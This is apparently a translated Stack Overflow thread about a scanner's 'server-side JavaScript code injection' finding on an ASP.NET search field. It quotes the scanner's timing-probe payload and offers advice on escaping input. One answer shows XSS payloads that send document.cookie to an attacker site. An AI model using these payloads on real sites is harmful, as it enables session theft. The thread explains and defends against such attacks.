【问题标题】:Server Side JavaScript Code Injection Attack服务器端 JavaScript 代码注入攻击
【发布时间】:2015-01-10 17:37:27
【问题描述】:

我们正在开发的一个 ASP.NET 网站的安全扫描报告了以下关于用于搜索的输入字段:

"ctl00%24txtTopQckSearch 参数似乎容易受到 服务器端 JavaScript 代码注入攻击。提交的值 似乎被放入动态评估的 JavaScript 声明,在单引号上下文中。

有效载荷 '+(function(){if(typeof cb715==="undefined"){var a=new Date();do{var b=new Date();}while(b-a

请注意,要手动重现此行为,请使用 报告请求,您将需要更改金丝雀的名称 变量,当前为 cb715。”

我的问题是:

什么是“服务器端 JavaScript 代码注入”(相对于客户端注入 -XSS)?

如何手动重新创建上述服务器端攻击?

如何预防?

谢谢!

【问题讨论】:

  • 这意味着注入的代码似乎在您的页面上实际执行。安全扫描在注入和不注入代码的情况下对函数进行计时,观察到注入代码的时间比没有注入代码的时间长,并得出代码实际执行的结论。
  • 代码注入是您在页面上找到通常只需要一个数字或字符串的输入,然后在其中粘贴一些实际的 Javascript 代码。如果它执行,就会引起欢闹。

标签: javascript asp.net security


【解决方案1】:

什么是“服务器端 JavaScript 代码注入”(相对于客户端注入 -XSS)?

这是一个允许攻击者在您的服务器(而不是在某人的浏览器中)执行其 JavaScript 代码的漏洞。

如何手动重新创建上述服务器端攻击?

报告引用了txtTopQckSearch 控件,并表示它为该控件传递了值+(function(){if(typeof cb715==="undefined"){var a=new Date();do{var b=new Date();}while(b-a<20000);cb715=1;}}())+

所以你可以尝试通过

重新创建它
  1. 确定哪个页面正在使用具有该名称的控件
  2. 将该 JavaScript 输入该控件(但将出现的两次 cb715 更改为不同的名称)
  3. 提交页面

如果扫描结果正确,则该请求的时间应该比不使用该值的请求稍长。

如何预防?

跟踪txtTopQckSearch 控件并确保通过该控件接收的值永远不会连接到您的服务器上执行的任何代码中。

我认为这完全有可能是一个红鲱鱼,并且由于您的服务器上的一些波动,请求只是花费了更长的时间(对那个页面的“安全”请求花费了超过 5 秒的事实表明该页面可能有一些性能问题)。

怀疑这是一条红鲱鱼的一个很好的理由是,如果该代码在您的服务器发回响应之前运行完成,则响应时间的差异将是 20 秒,而不是到扫描观察到的 2 秒差异。

因此,请调查该控件是否存在任何可能的安全漏洞,如果没有,则暂时将其作为误报注销。

【讨论】:

  • 感谢您的详细回复。是的,由于实际上没有执行任何 JavaScript,因此最终成为了一条红鲱鱼。但是,它确实暴露了一些过滤和性能问题。
【解决方案2】:

他们可以注入 JavaScript 代码。这是一个 XSS 漏洞。

如果你有这个代码(不懂ASP对不起):

<div><?php echo $_GET["foo"];?></div>

它几乎会打印出你传递为foo 的任何内容。因此,如果您让某人加载:

http://yoursite.com/index.php?foo=<script>document.location.href="http://mywebsite.com/?cookie=" + document.cookie</script>

我现在偷了他们的会话。它注入一段 JavaScript 代码,读取 cookie 并将其发送到我的网站。

类似的方法直接存在于 JavaScript 中:

<script>var data = <?php echo $_GET["foo"];?>;</script>

现在如果foo 的值类似于

"";document.location.href="http://mywebsite.com/?cookie=" + document.cookie`

我又偷了 cookie。

避免 XSS 的方法是始终始终 始终避开不受信任的内容。在 PHP 中,函数是 htmlspecialchars(用于 HTML)和 json_encode(用于 JavaScript)。


他们通过注入需要长时间执行的代码(创建 20000 个 Date 对象)并比较加载页面所需的时间来检测 XSS 漏洞。

【讨论】:

  • 感谢您的快速回复。扫描将其称为“服务器端 JavaScript 注入”。所以我想我真正的问题是这与“客户端 JavaScript”注入 (XSS) 有何不同?
  • 我认为这是贴错标签了。除非您的技术还包括像 Node.JS 这样的服务器端 JavaScript 执行
  • @Jobrocol:我认为这是在服务器上执行的代码注入,而不是 XSS(如 JLRishe says)。如果你不使用 Node.JS 或类似的东西,很可能是误报。
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2012-04-14
  • 2023-03-14
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多